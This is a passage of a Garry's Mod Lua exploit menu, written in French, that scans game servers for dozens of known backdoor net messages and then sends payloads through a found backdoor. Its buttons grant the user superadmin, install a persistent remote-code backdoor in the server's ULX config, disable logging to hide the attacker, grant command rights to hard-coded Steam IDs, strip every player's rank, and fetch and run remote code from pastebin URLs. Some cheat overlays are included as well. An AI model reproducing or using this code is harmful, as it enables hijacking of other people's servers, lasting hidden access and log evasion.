9148 if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
9149 triggeringbd = "noclipcloakaesp_chat_text"
9150 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9151 else
9152 end
9153
9154 if( triggeringnetcall("nostrip") ) then
9155 triggeringbd = "nostrip"
9156 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9157 else
9158 end
9159
9160
9161 if( triggeringnetcall("LickMeOut") ) then
9162 triggeringbd = "LickMeOut"
9163 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9164 else
9165 end
9166
9167 if( triggeringnetcall("MoonMan") ) then
9168 triggeringbd = "MoonMan"
9169 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9170 else
9171 end
9172
9173 if( triggeringnetcall("Im_SOCool") ) then
9174 triggeringbd = "Im_SOCool"
9175 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9176 else
9177 end
9178
9179 if( triggeringnetcall("ULXQUERY2") ) then
9180 triggeringbd = "ULXQUERY2"
9181 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9182 else
9183 end
9184
9185 if( triggeringnetcall("jesuslebg") ) then
9186 triggeringbd = "jesuslebg"
9187 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9188 else
9189 end
9190
9191 if( triggeringnetcall("zilnix") ) then
9192 triggeringbd = "zilnix"
9193 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9194 else
9195 end
9196
9197 if( triggeringnetcall("-c") ) then
9198 triggeringbd = "-c"
9199 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9200 else
9201 end
9202
9203 if( triggeringnetcall("kill") ) then
9204 triggeringbd = "kill"
9205 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9206 else
9207 end
9208
9209 if( triggeringnetcall("88") ) then
9210 triggeringbd = "88"
9211 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9212 else
9213 end
9214
9215 if( triggeringnetcall("Ulib_Message") ) then
9216 triggeringbd = "Ulib_Message"
9217 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9218 else
9219 end
9220
9221 if( triggeringnetcall("Sbox_itemstore") ) then
9222 triggeringbd = "Sbox_itemstore"
9223 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9224 else
9225 end
9226
9227 if( triggeringnetcall("Sbox_darkrp") ) then
9228 triggeringbd = "Sbox_darkrp"
9229 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9230 else
9231 end
9232
9233 if( triggeringnetcall("ITEM") ) then
9234 triggeringbd = "ITEM"
9235 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9236 else
9237 end
9238
9239 if( triggeringnetcall("fix") ) then
9240 triggeringbd = "fix"
9241 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9242 else
9243 end
9244
9245 if( triggeringnetcall("Fix_Keypads") ) then
9246 triggeringbd = "Fix_Keypads"
9247 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9248 else
9249 end
9250
9251 if( triggeringnetcall("Remove_Exploiters") ) then
9252 triggeringbd = "Remove_Exploiters"
9253 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9254 else
9255 end
9256
9257 if( triggeringnetcall("ULX_QUERY2") ) then
9258 triggeringbd = "ULX_QUERY2"
9259 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9260 else
9261 end
9262
9263 if( triggeringnetcall("Sandbox_GayParty") ) then
9264 triggeringbd = "Sandbox_GayParty"
9265 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9266 else
9267 end
9268
9269 if( triggeringnetcall("_CAC_G") ) then
9270 triggeringbd = "_CAC_G"
9271 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9272 else
9273 end
9274
9275 if( triggeringnetcall("fellosnake") ) then
9276 triggeringbd = "fellosnake"
9277 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9278 else
9279 end
9280
9281 if( triggeringnetcall("stoppk") ) then
9282 triggeringbd = "stoppk"
9283 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9284 else
9285 end
9286
9287 if( triggeringnetcall("Sbox_Message") ) then
9288 triggeringbd = "Sbox_Message"
9289 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9290 else
9291 end
9292
9293 if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
9294 triggeringbd = "Sbox_gm_attackofnullday_key"
9295 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9296 else
9297 end
9298
9299 if( triggeringnetcall("m9k_explosionradius") ) then
9300 triggeringbd = "m9k_explosionradius"
9301 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9302 else
9303 end
9304
9305 if( triggeringnetcall("m9k_explosive") ) then
9306 triggeringbd = "m9k_explosive"
9307 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9308 else
9309 end
9310
9311 if( triggeringnetcall("arivia") ) then
9312 triggeringbd = "arivia"
9313 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9314 else
9315 end
9316
9317 if( triggeringnetcall("_Warns") ) then
9318 triggeringbd = "_Warns"
9319 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9320 else
9321 end
9322
9323 if( triggeringnetcall("pjHabrp9EY") ) then
9324 triggeringbd = "pjHabrp9EY"
9325 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9326 else
9327 end
9328
9329 if( triggeringnetcall("_Raze") ) then
9330 triggeringbd = "_Raze"
9331 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9332 else
9333 end
9334
9335 if( triggeringnetcall("thefrenchenculer") ) then
9336 triggeringbd = "thefrenchenculer"
9337 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9338 else
9339 end
9340
9341 if( triggeringnetcall("Þ� ?D)◘") ) then
9342 triggeringbd = "Þ� ?D)◘"
9343 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9344 else
9345 end
9346
9347 if( triggeringnetcall("PlayerItemPickUp") ) then
9348 triggeringbd = "PlayerItemPickUp"
9349 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9350 else
9351 end
9352
9353 if( triggeringnetcall("echangeinfo") ) then
9354 triggeringbd = "echangeinfo"
9355 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9356 else
9357 end
9358
9359 if( triggeringnetcall("fourhead") ) then
9360 triggeringbd = "fourhead"
9361 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9362 else
9363 end
9364
9365 if( triggeringnetcall("DefqonBackdoor") ) then
9366 triggeringbd = "DefqonBackdoor"
9367 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9368 else
9369 end
9370
9371 if( triggeringnetcall("xenoexistscl") ) then
9372 triggeringbd = "xenoexistscl"
9373 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9374 else
9375 end
9376
9377 if( triggeringnetcall("cvaraccess") ) then
9378 triggeringbd = "cvaraccess"
9379 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9380 else
9381 end
9382
9383 if( triggeringnetcall("NoNerks") ) then
9384 triggeringbd = "NoNerks"
9385 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9386 else
9387 end
9388
9389 if( triggeringnetcall("cucked") ) then
9390 triggeringbd = "cucked"
9391 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9392 else
9393 end
9394
9395 if( triggeringnetcall("OldNetReadData") ) then
9396 triggeringbd = "OldNetReadData"
9397 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9398 else
9399 end
9400
9401 if( triggeringnetcall("DarkRP_UTF8") ) then
9402 triggeringbd = "DarkRP_UTF8"
9403 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9404 else
9405 end
9406
9407 if( triggeringnetcall("fix") ) then
9408 triggeringbd = "fix"
9409 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9410 else
9411 end
9412
9413 if( triggeringnetcall("__G____CAC") ) then
9414 triggeringbd = "__G____CAC"
9415 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9416 else
9417 end
9418
9419 if( triggeringnetcall("AbSoluT") ) then
9420 triggeringbd = "AbSoluT"
9421 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9422 else
9423 end
9424
9425 if( triggeringnetcall("Gamemode_get") ) then
9426 triggeringbd = "Gamemode_get"
9427 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9428 else
9429 end
9430
9431 if( triggeringnetcall("z") ) then
9432 triggeringbd = "z"
9433 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9434 else
9435 end
9436
9437 if( triggeringnetcall("cvardel") ) then
9438 triggeringbd = "cvardel"
9439 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9440 else
9441 end
9442
9443 if( triggeringnetcall("Sandbox_ArmDupe") ) then
9444 triggeringbd = "Sandbox_ArmDupe"
9445 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9446 else
9447 end
9448
9449 if( triggeringnetcall("antilagger") ) then
9450 triggeringbd = "antilagger"
9451 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9452 else
9453 end
9454
9455 if( triggeringnetcall("effects_en") ) then
9456 triggeringbd = "effects_en"
9457 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9458 else
9459 end
9460
9461 if( triggeringnetcall("file") ) then
9462 triggeringbd = "file"
9463 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9464 else
9465 end
9466
9467 if( triggeringnetcall("ULogs_B") ) then
9468 triggeringbd = "ULogs_B"
9469 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9470 else
9471 end
9472
9473 if( triggeringnetcall("Bilboard.adverts:Spawn(false)") ) then
9474 triggeringbd = "Bilboard.adverts:Spawn(false)"
9475 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9476 else
9477 end
9478
9479 if( triggeringnetcall("gag") ) then
9480 triggeringbd = "gag"
9481 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9482 else
9483 end
9484
9485 if( triggeringnetcall("PlayerItemPickUp") ) then
9486 triggeringbd = "PlayerItemPickUp"
9487 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9488 else
9489 end
9490
9491 if( triggeringnetcall("JSQuery.Data(Post(false))") ) then
9492 triggeringbd = "JSQuery.Data(Post(false))"
9493 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9494 else
9495 end
9496
9497 if( triggeringnetcall("mecthack") ) then
9498 triggeringbd = "mecthack"
9499 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9500 else
9501 end
9502
9503 if( triggeringnetcall("PlayerCheck") ) then
9504 triggeringbd = "PlayerCheck"
9505 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9506 else
9507 end
9508
9509 if triggeringbd == "" then
9510 chat.AddText(Color(0, 0, 0), "[", "88", "] ", Color( 255, 0, 0 ), "Aucune backdoor active :(" )
9511 else
9512 chat.AddText(Color(0, 0, 0), "[", "88", "] ", Color( 0, 255, 0 ), "Backdoor Active : ".. triggeringbd )
9513 end
9514
9515
9516----------------------------------------------------
9517
9518local persistbd = [[
9519 local config = ULib.fileRead( "data/ulx/config.txt" )
9520 config = config.."\nulx logEcho 0"
9521 config = config.."\nulx luarun util.AddNetworkString( '_CAC_G' ) net.Receive( '_CAC_G', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
9522 config = config.."\nulx logEcho 1"
9523 ULib.fileWrite( "data/ulx/config.txt", config )
9524 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Persistent infection installed on server" ) end end
9525 ]]
9526
9527local the88admingive = [[
9528 concommand.Add("88isadmin", function(ply)
9529 RunConsoleCommand("ulx", "logecho", "0")
9530 RunConsoleCommand("ulx","adduser",ply:Nick(),"superadmin")
9531 ply:ChatPrint( "Succès Mec :D" )
9532end )]]
9533
9534local the88admingivecramer = [[
9535 concommand.Add("88isadmincramer", function(ply)
9536 RunConsoleCommand("Fadmin","setaccess",ply:Nick(),"superadmin")
9537end )]]
9538
9539local launchbd = [[
9540
9541 RunConsoleCommand("ulx","luarun","util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
9542
9543 ]]
9544
9545
9546
9547local enablelogs = [[
9548
9549 RunConsoleCommand("ulx","logecho","3")
9550
9551 ]]
9552
9553local nologs = [[
9554
9555 RunConsoleCommand("ulx","logecho","0")
9556
9557 ]]
9558
9559local allowluarun88 = [[
9560
9561 RunConsoleCommand("ulx","userallowid","STEAM_1:1:423243929","ulx luarun")
9562 RunConsoleCommand("ulx","userallowid","STEAM_0:0:422749912","ulx luarun")
9563
9564 ]]
9565
9566local unrankall = [[
9567
9568 RunConsoleCommand("FAdmin","setaccess","*", "user")
9569
9570 ]]
9571
9572
9573
9574---------------------------------------------------
9575
9576
9577
9578
9579local Entry = vgui.Create( "DTextEntry" )
9580Entry:SetParent(backdoorScrollPanel)
9581Entry:SetPos( 0, 480 )
9582Entry:SetSize( 190, 30 )
9583Entry:SetText( "BackDoor Ici" )
9584Entry.OnChange = function( self )
9585
9586 triggeringbd = self:GetValue()
9587end
9588
9589
9590function BDAdd(id, text, desc, func)
9591local bdid = vgui.Create( "DButton", backdoorScrollPanel )
9592bdid:SetText( text )
9593bdid:SetTextColor( Color( 200, 200, 200, 220 ) )
9594bdid:SetFont("Roboto")
9595bdid:Dock( TOP )
9596bdid:DockMargin( 210, 45, 10, -35 )
9597bdid:DockPadding( 2, 20, 20, 60 )
9598bdid.DoClick = func
9599if desc then
9600bdid:SetToolTip( desc )
9601end
9602bdid.Paint = function( self, w, h )
9603bdid.OnCursorEntered = function(self)
9604-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9605surface.PlaySound( "buttons/button15.wav" )
9606end
9607if bdid:IsHovered() then
9608-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9609draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9610else
9611draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9612end
9613surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9614surface.DrawOutlinedRect( 0, 0, w, h )
9615end
9616end
9617
9618BDAdd( "1","Se Mettre SuperAdmin ULX", "Ca va chauffer :c", function()
9619surface.PlaySound("garrysmod/ui_click.wav")
9620NOTIFICATION("YOUUUUUUUUUHOUUUUUUUUUUUUU")
9621net.Start(""..triggeringbd.."")
9622net.WriteString(""..the88admingive.."")
9623net.WriteBit(1)
9624RunConsoleCommand "88isadmin"
9625net.SendToServer()
9626end )
9627
9628BDAdd( "2","Se Mettre SuperAdmin FADMIN", "Très cramer mais utile", function()
9629surface.PlaySound("garrysmod/ui_click.wav")
9630NOTIFICATION("Hop hop hop :D")
9631net.Start(""..triggeringbd.."")
9632net.WriteString(""..the88admingivecramer.."")
9633net.WriteBit(1)
9634RunConsoleCommand "88isadmincramer"
9635net.SendToServer()
9636end )
9637
9638BDAdd( "3","Activer Backdoor 88", "Sa va faire mal", function()
9639surface.PlaySound("garrysmod/ui_click.wav")
9640NOTIFICATION("Go foutre le bordel :3")
9641net.Start(""..triggeringbd.."")
9642net.WriteString(launchbd)
9643net.WriteBit(1)
9644net.SendToServer()
9645end )
9646
9647BDAdd( "4","Desactiver Logs", "Invisible pour les commandes ulx :D", function()
9648surface.PlaySound("garrysmod/ui_click.wav")
9649NOTIFICATION("Logs Desactivé")
9650net.Start(""..triggeringbd.."")
9651net.WriteString(""..nologs.."")
9652net.WriteBit(1)
9653net.SendToServer()
9654end )
9655
9656BDAdd( "5","Activer Logs", "Sa sera pratique pour pas cramer", function()
9657surface.PlaySound("garrysmod/ui_click.wav")
9658NOTIFICATION("Logs Activé")
9659net.Start(""..triggeringbd.."")
9660net.WriteString(""..enablelogs.."")
9661net.WriteBit(1)
9662net.SendToServer()
9663end )
9664
9665BDAdd( "6","Demarrer 88 Backdoor Menu", "Perfect", function()
9666surface.PlaySound("garrysmod/ui_click.wav")
9667RunConsoleCommand "88_backdoor"
9668end )
9669
9670BDAdd( "7","Luarun 88", "BACKDOOR TIME :3", function()
9671surface.PlaySound("garrysmod/ui_click.wav")
9672net.Start(""..triggeringbd.."")
9673net.WriteString(""..allowluarun88.."")
9674net.WriteBit(1)
9675net.SendToServer()
9676end )
9677
9678BDAdd( "8","Unrank Tout Le Serveur", "RIP LES RANKS :c", function()
9679surface.PlaySound("garrysmod/ui_click.wav")
9680net.Start(""..triggeringbd.."")
9681net.WriteString(""..unrankall.."")
9682net.WriteBit(1)
9683net.SendToServer()
9684end )
9685
9686BDAdd( "9","Activer LuaRun", "rt si t'es trist yoh :c", function()
9687surface.PlaySound("garrysmod/ui_click.wav")
9688net.Start(""..triggeringbd.."")
9689net.WriteString("http.Fetch(\"https://pastebin.com/raw/kbzarvsW\",function(b,l,h,c)RunString(b)end,nil)")
9690net.WriteBit(1)
9691net.SendToServer()
9692end )
9693
9694BDAdd( "9","Kill SNTE", "rt si t'es trist yoh :c", function()
9695surface.PlaySound("garrysmod/ui_click.wav")
9696net.Start(""..triggeringbd.."")
9697net.WriteString("http.Fetch(\"https://pastebin.com/raw/GzpPgx8q\",function(b,l,h,c)RunString(b)end,nil)")
9698net.WriteBit(1)
9699net.SendToServer()
9700end )
9701
9702
9703/*================================
9704|===== 88 MUSIQUES =====|
9705=================================*/
9706
9707
9708local soundboardmusicScrollPanel = vgui.Create( "DScrollPanel", mscsbd )
9709soundboardmusicScrollPanel:Dock( FILL )
9710soundboardmusicScrollPanel:InnerWidth(100)
9711local sbar = soundboardmusicScrollPanel:GetVBar()
9712function soundboardmusicScrollPanel:Paint( w, h )
9713 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9714end
9715function sbar:Paint( w, h )
9716 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9717end
9718function sbar.btnUp:Paint( w, h )
9719 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9720end
9721function sbar.btnDown:Paint( w, h )
9722 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9723end
9724function sbar.btnGrip:Paint( w, h )
9725 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9726end
9727
9728function AddSong(id, text, desc, func)
9729local msbd = vgui.Create( "DButton", soundboardmusicScrollPanel )
9730msbd:SetText( text )
9731msbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9732msbd:SetFont("Roboto")
9733msbd:Dock( TOP )
9734msbd:DockMargin( 10, 45, 40, -37 )
9735msbd:DockPadding( 2, 30, 20, 10 )
9736msbd.DoClick = func
9737if desc then
9738msbd:SetToolTip( desc )
9739end
9740msbd.Paint = function( self, w, h )
9741msbd.OnCursorEntered = function(self)
9742-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9743surface.PlaySound( "buttons/button15.wav" )
9744end
9745if msbd:IsHovered() then
9746-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9747draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9748else
9749draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9750end
9751surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9752surface.DrawOutlinedRect( 0, 0, w, h )
9753end
9754end
9755
9756AddSong( "1","Stop Musique", "Stop Une Musique Directement", function()
9757surface.PlaySound("buttons/lever3.wav")
9758net.Start(""..triggeringbd.."")
9759net.WriteString("RunConsoleCommand \"stopsound\"")
9760net.WriteBit(1)
9761net.SendToServer()
9762end )
9763
9764
9765
9766
9767
9768
9769
9770
9771
9772
9773
9774
9775
9776/*===================================
9777|===== 88 SOUNDBOARD =====|
9778===================================*/
9779
9780
9781local soundboardpanel = vgui.Create( "DScrollPanel", sdbbd )
9782soundboardpanel:Dock( FILL )
9783soundboardpanel:InnerWidth(100)
9784local sbar = soundboardpanel:GetVBar()
9785function soundboardpanel:Paint( w, h )
9786 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9787end
9788function sbar:Paint( w, h )
9789 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9790end
9791function sbar.btnUp:Paint( w, h )
9792 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9793end
9794function sbar.btnDown:Paint( w, h )
9795 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9796end
9797function sbar.btnGrip:Paint( w, h )
9798 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9799end
9800
9801function AddSB(id, text, desc, func)
9802local sbbd = vgui.Create( "DButton", soundboardpanel )
9803sbbd:SetText( text )
9804sbbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9805sbbd:SetFont("Roboto")
9806sbbd:Dock( TOP )
9807sbbd:DockMargin( 10, 45, 40, -37 )
9808sbbd:DockPadding( 2, 30, 20, 10 )
9809sbbd.DoClick = func
9810if desc then
9811sbbd:SetToolTip( desc )
9812end
9813sbbd.Paint = function( self, w, h )
9814sbbd.OnCursorEntered = function(self)
9815-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9816surface.PlaySound( "buttons/button15.wav" )
9817end
9818if sbbd:IsHovered() then
9819-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9820draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9821else
9822draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9823end
9824surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9825surface.DrawOutlinedRect( 0, 0, w, h )
9826end
9827end
9828
9829AddSB( "1","Stop Soundboard", "Stop directement un soundboard", function()
9830surface.PlaySound("buttons/lever3.wav")
9831net.Start(""..triggeringbd.."")
9832net.WriteString("RunConsoleCommand \"stopsound\"")
9833net.WriteBit(1)
9834net.SendToServer()
9835end )
9836
9837end)
9838
9839
9840
9841
9842/*====================================
9843|===== 88 AUTRES TRUCS =====|
9844=====================================*/
9845
9846
9847
9848
9849
9850
9851concommand.Add("show_door", function()
9852
9853hook.Add("HUDPaint" , "DoorFind" , function ()
9854
9855 for k,v in pairs (ents.GetAll()) do
9856
9857 if IsValid(v) and v:getDoorOwner() then
9858
9859 local pos = v:GetPos():ToScreen()
9860
9861 local distance = math.floor(LocalPlayer():GetPos():Distance(v:GetPos()) / 25)
9862
9863 draw.DrawText(distance.."m", "ChatFont", pos.x, pos.y - 10,Color(255, 255, 255, 255),1)
9864
9865 draw.DrawText("Propriétaire - "..v:getDoorOwner():Nick(), "TargetIDSmall", pos.x + 1, pos.y - 30,Color(255, 255, 255, 255),1)
9866
9867 surface.SetDrawColor(255,255,255,255)
9868
9869 surface.SetMaterial(Material( "icon16/door.png" ))
9870
9871 surface.DrawTexturedRect(pos.x-10, pos.y-50, 16,16)
9872
9873 end
9874
9875 end
9876
9877end)
9878
9879end)
9880
9881concommand.Add("hide_door", function()
9882hook.Remove("HUDPaint" , "DoorFind")
9883end)
9884
9885local On = false
9886 local Glow
9887 function Night( on )
9888
9889 function think()
9890 for k,v in pairs(ents.GetAll()) do
9891 local sep = string.Explode("_",v:GetClass())
9892 if sep[1] == "npc" or v:GetClass() == "player" then
9893 if Glow then
9894 v:SetMaterial("models/weapons/v_slam/new light1") end
9895 end
9896 if (sep[1] == "npc" or v:GetClass() == "player") and !on then
9897 v:SetMaterial("") end
9898 end
9899 end
9900 hook.Add("Think","ehyuj",think)
9901 local mul
9902 if on then mul = 1 On = true else mul = 0 On = false end
9903 if on then
9904 surface.PlaySound( "items/nvg_on.wav" ) else
9905 surface.PlaySound( "items/nvg_off.wav" ) end
9906
9907 local function ArghItBurns()
9908 DrawBloom( 0, 1, 1, 0, 0, 1, .5*mul, 2.5*mul, .5*mul )
9909 end
9910 hook.Add( "RenderScreenspaceEffects", "NoMoreEyesForYou!", ArghItBurns )
9911
9912 local function PUMPPPTEST()
9913
9914 local tab = {}
9915 tab[ "$pp_colour_addr" ] = 0
9916 tab[ "$pp_colour_addg" ] = 0
9917 tab[ "$pp_colour_addb" ] = 0
9918 tab[ "$pp_colour_brightness" ] = -0.5*mul
9919 tab[ "$pp_colour_contrast" ] = 1-.5*mul
9920 tab[ "$pp_colour_colour" ] = 1
9921 tab[ "$pp_colour_mulr" ] = 0
9922 tab[ "$pp_colour_mulg" ] = 0
9923 tab[ "$pp_colour_mulb" ] = 0
9924
9925 DrawColorModify( tab )
9926 end
9927 hook.Add( "RenderScreenspaceEffects", "RenderColorModifyPOO", PUMPPPTEST )
9928 end
9929
9930 function TogNight()
9931 local ply = LocalPlayer()
9932 if On == true then
9933 On = false
9934 ply:ConCommand("mat_fullbright 0")
9935 elseif On == false then
9936 On = true
9937 ply:ConCommand("mat_fullbright 1")
9938 end
9939 Night( On )
9940 end
9941 concommand.Add( "dark", TogNight )
9942
9943 concommand.Add( "mat_zset",function(ply,command,args,classname)
9944 net.Start( "mat_zset" )
9945 net.WriteString(args[1])
9946 net.SendToServer()
9947 end)
9948 concommand.Add( "adsp_door_length",function(ply,command,args,classname)
9949 net.Start( "adsp_door_length" )
9950 net.WriteString(args[1])
9951 net.SendToServer()
9952 end)
9953 concommand.Add( "faceposer_flex01",function(ply)
9954 net.Start( "faceposer_flex01" )
9955 net.SendToServer()
9956 end)